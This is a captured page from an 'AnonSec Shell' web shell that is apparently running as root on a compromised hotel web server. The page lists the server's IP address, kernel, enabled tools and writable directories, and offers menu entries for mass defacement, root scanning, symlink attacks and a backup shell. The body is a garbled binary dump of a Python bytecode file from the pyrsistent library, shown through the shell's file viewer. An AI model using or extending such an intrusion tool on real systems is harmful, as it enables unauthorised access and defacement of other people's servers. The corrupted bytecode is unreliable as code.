AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/pyrsistent/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/pyrsistent/__pycache__/_immutable.cpython-310.pyc
o

���a�
�@sddlZddd�ZdS)�N��	ImmutableFc

s�t�t�r
��dd�����fdd�}d}tjdkr dj|d�}d	�d
d��D��}dj||r3d
|nd|�||d�}|rAt|�ddl	m
}t|dd�}z
t||�W||St
yn}	zt
t|	�d|�|	�d}	~	ww)a�
    Produces a class that either can be used standalone or as a base class for persistent classes.

    This is a thin wrapper around a named tuple.

    Constructing a type and using it to instantiate objects:

    >>> Point = immutable('x, y', name='Point')
    >>> p = Point(1, 2)
    >>> p2 = p.set(x=3)
    >>> p
    Point(x=1, y=2)
    >>> p2
    Point(x=3, y=2)

    Inheriting from a constructed type. In this case no type name needs to be supplied:

    >>> class PositivePoint(immutable('x, y')):
    ...     __slots__ = tuple()
    ...     def __new__(cls, x, y):
    ...         if x > 0 and y > 0:
    ...             return super(PositivePoint, cls).__new__(cls, x, y)
    ...         raise Exception('Coordinates must be positive!')
    ...
    >>> p = PositivePoint(1, 2)
    >>> p.set(x=3)
    PositivePoint(x=3, y=2)
    >>> p.set(y=-3)
    Traceback (most recent call last):
    Exception: Coordinates must be positive!

    The persistent class also supports the notion of frozen members. The value of a frozen member
    cannot be updated. For example it could be used to implement an ID that should remain the same
    over time. A frozen member is denoted by a trailing underscore.

    >>> Point = immutable('x, y, id_', name='Point')
    >>> p = Point(1, 2, id_=17)
    >>> p.set(x=3)
    Point(x=3, y=2, id_=17)
    >>> p.set(id_=18)
    Traceback (most recent call last):
    AttributeError: Cannot set frozen members id_
    �,� cs(dd��D�}|rdjd�|�d�SdS)NcSsg|]}|�d�rd|�qS)�_�'%s')�endswith)�.0�f�r�7/usr/lib/python3/dist-packages/pyrsistent/_immutable.py�
<listcomp>5sz9immutable.<locals>.frozen_member_test.<locals>.<listcomp>z�
        frozen_fields = fields_to_modify & set([{frozen_members}])
        if frozen_fields:
            raise AttributeError('Cannot set frozen members %s' % ', '.join(frozen_fields))
            �, ��frozen_membersr)�format�joinr��membersrr�frozen_member_test4s
�z%immutable.<locals>.frozen_member_testr)��z, verbose={verbose})�verbosercss�|]}d|VqdS)rNr)r	�mrrr�	<genexpr>Ds�zimmutable.<locals>.<genexpr>a�
class {class_name}(namedtuple('ImmutableBase', [{quoted_members}]{verbose_string})):
    __slots__ = tuple()

    def __repr__(self):
        return super({class_name}, self).__repr__().replace('ImmutableBase', self.__class__.__name__)

    def set(self, **kwargs):
        if not kwargs:
            return self

        fields_to_modify = set(kwargs.keys())
        if not fields_to_modify <= {member_set}:
            raise AttributeError("'%s' is not a member" % ', '.join(fields_to_modify - {member_set}))

        {frozen_member_test}

        return self.__class__.__new__(self.__class__, *map(kwargs.pop, [{quoted_members}], self))
z	set([%s])zset())�quoted_members�
member_setr�verbose_string�
class_namer)�
namedtuple�pyrsistent_immutable)r�__name__z:
N)�
isinstance�str�replace�split�sys�version_inforr�print�collectionsr�dict�exec�SyntaxError)
r�namerrrr�templater�	namespace�errr�	immutables2
-
����r1)rrF)r&r1rrrr�<module>s

Anon7 - 2022
AnonSec Team